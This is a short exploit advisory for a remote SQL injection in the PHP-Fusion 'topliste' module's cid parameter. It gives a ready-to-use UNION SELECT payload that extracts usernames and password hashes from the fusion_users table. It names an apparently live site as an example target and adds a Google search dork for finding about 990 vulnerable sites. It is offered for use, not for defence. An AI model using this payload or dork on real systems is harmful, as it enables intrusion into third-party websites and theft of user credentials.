PHP-Fusion Module topliste 1.0 (cid) Remote SQL Injection Vulnerability

-------------------------------- PHP-FUSION&nbsp;topliste&nbsp;Module&nbsp;(cid)&nbsp;Remote&nbsp;SQL&nbsp;Injection&nbsp;Vuln -------------------------------- Bulan:&nbsp;xoron&nbsp;-&nbsp;unique xoron.biz&nbsp; -------------------------------- Exploit:&nbsp; index.php?cid=-1/**/UNION/**/SELECT/**/0,1,2,3,user_name,user_password,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20/**/FROM/**/fusion_users/* -------------------------------- Exapmle:&nbsp;http://www.321spil.dk/infusions/topliste/ -------------------------------- Google&nbsp;Dork: infusions/topliste/&nbsp;&nbsp;&nbsp;990&nbsp;sites:) -------------------------------- Ekin0x&nbsp;&nbsp;/&nbsp;-->&nbsp;&nbsp;evilc0der.org&nbsp;&nbsp;<-- -------------------------------- &nbsp;